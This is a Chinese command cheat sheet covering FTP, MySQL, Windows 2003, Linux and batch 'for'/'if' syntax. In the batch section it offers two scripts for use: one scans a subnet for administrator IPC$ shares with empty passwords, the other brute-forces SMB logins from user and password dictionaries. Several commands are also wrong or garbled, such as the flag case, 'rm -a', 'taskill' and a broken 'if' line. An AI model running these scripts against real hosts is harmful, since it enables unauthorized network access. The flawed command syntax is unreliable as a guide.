dos命令续

FTP 命令: (后面有详细说明内容)
ftp
的命令行格式为:
ftp
v d i n g[主机名] v 显示远程服务器的所有响应信息。
d 使用调试方式。
n 限制ftp的自动登录,即不使用.netrc文件。
g 取消全局文件名。
help [
命令] [命令] 查看命令说明
bye
quit 终止主机FTP进程,并退出FTP管理方式.
pwd
列出当前远端主机目录
put
send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get
recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files]
从远端主机接收一批文件至本地主机
mput local-files
将本地主机中一批文件传送至远端主机
dir
ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii
设定以ASCII方式传送文件(缺省值)
bin
image 设定以二进制方式传送文件
bell
每完成一次文件传送,报警提示
cdup
返回上一级目录
close
中断与远程服务器的ftp会话(open对应)
open host[port]
建立指定ftp服务器连接,可指定连接端口
delete
删除远端主机中的文件
mdelete [remote-files]
删除一批文件
mkdir directory-name
在远端主机中建立目录
rename [from] [to]
改变远端主机中的文件名
rmdir directory-name
删除远端主机中的目录
status
显示当前FTP的状态
system
显示远端主机系统类型
user user-name [password] [account]
重新以别的用户名登录远端主机
open host [port]
重新建立一个新的连接
prompt
交互提示模式
macdef
定义宏命令
lcd
改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod
改变远端主机的文件权限
case
当为ON,MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote
dir 进入远程主机目录
cdup
进入远程主机目录的父目录
!
在本地机中执行交互shellexit回到ftp环境,!ls.zip

MYSQL
命令:
mysql -h
主机地址 -u用户名 p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
:uroot可以不用加空格,其它也一样)
exit
退出MYSQL
mysqladmin -u
用户名 -p旧密码 password 新密码 修改密码
grant select on
数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases;
显示数据库列表。刚开始时才两个数据库:mysqltestmysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql

show tables;
显示库中的数据表
describe
表名; 显示数据表的结构
create database
库名; 建库
use
库名;
create table
表名 (字段设定列表) 建表
drop database
库名;
drop table
表名; 删库和删表
delete from
表名; 将表中记录清空
select * from
表名; 显示表中的记录
mysqldump --opt school>school.bbb
备份数据库:(命令在DOS\\mysql\\bin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003
系统下新增命令(实用部份):
shutdown /
参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /
参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist
显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

Linux
系统下基本命令: 要区分大小写
uname
显示版本信息(同win2K ver
dir
显示当前目录文件,ls -al 显示包括隐藏文件(同win2K dir
pwd
查询当前所在的目录位置
cd cd
 ..回到上一层目录,注意cd ..之间有空格。cd /返回到根目录。
cat
文件名 查看文件内容
cat >abc.txt
abc.txt文件中写上内容。
more
文件名 以一页一页的方式显示一个文本文件。
cp
复制文件
mv
移动文件
rm
文件名 删除文件,rm -a 目录名删除目录及子目录
mkdir
目录名 建立目录
rmdir
删除子目录,目录内没有文档。
chmod
设定档案或目录的存取权限
grep
在档案中查找字符串
diff
档案文件比较
find
档案搜寻
date
现在的日期、时间
who
查询目前和你使用同一台机器的人以及Login时间地点w 查询目前上机者的详细资料 whoami 查看自己的帐号名称 groups 查看某人的Group passwd 更改密码 history 查看自己下过的命令 ps 显示进程状态 kill 停止某进程 gcc 黑客 通常用它来编译C语言写的文件 su 权限转换

w 查询目前上机者的详细资料
whoami
查看自己的帐号名称
groups
查看某人的Group
passwd
更改密码
history
查看自己下过的命令
ps
显示进程状态
kill
停止某进程
gcc
黑客通常用它来编译C语言写的文件
su
权限转换为指定使用者
telnet IP telnet
连接对方主机(同win2K),当出现bash$时就说明连接成功。
ftp ftp
连接上某服务器(同win2K

附:批处理命令与变量

1
for命令及变量 基本格式:
FOR /
参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。
批处理每次能处理的变量从%0�D%910个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2�D%9指输入的第2-9个值;例:net use \\ip\ipc$ pass /user:user ip%1,pass%2 ,user%3

(set):
指定一个或一组文件,可使用通配符,如:(D:\user.txt)(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1254“(1 -1 254)”说明:即从2541}

command
:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
command_parameters
:为特定命令指定参数或命令行开关

IN (set)
:指在(set)中取值;DO command :指执行command

参数:/L 指用增量形式{(set)为增量形式时}/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)}
用法举例:
@echo off
echo
用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "
命令成功完成" >>test.txt
存为test.bat 说明:对指定的一个C类网段的254IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L
指用增量形式(即从1-254254-1);输入的IP前面三位:*.*.*为批处理默认的 %1%%G 为变量(ip的最后一位);& 用来隔开echo net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
@echo off
echo
用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

2if命令及变量基本格式:
IF [not] errorlevel
数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。
0
指发现并成功执行(真);1 指没有发现、没执行(假)。
IF [not]
字符串1==字符串2 命令语句如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" "
IF [not] exist
文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel
数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. < del test.txt.> else echo test.txt.missing ”,注意命令中的“.”



你可能感兴趣的:(职场,休闲)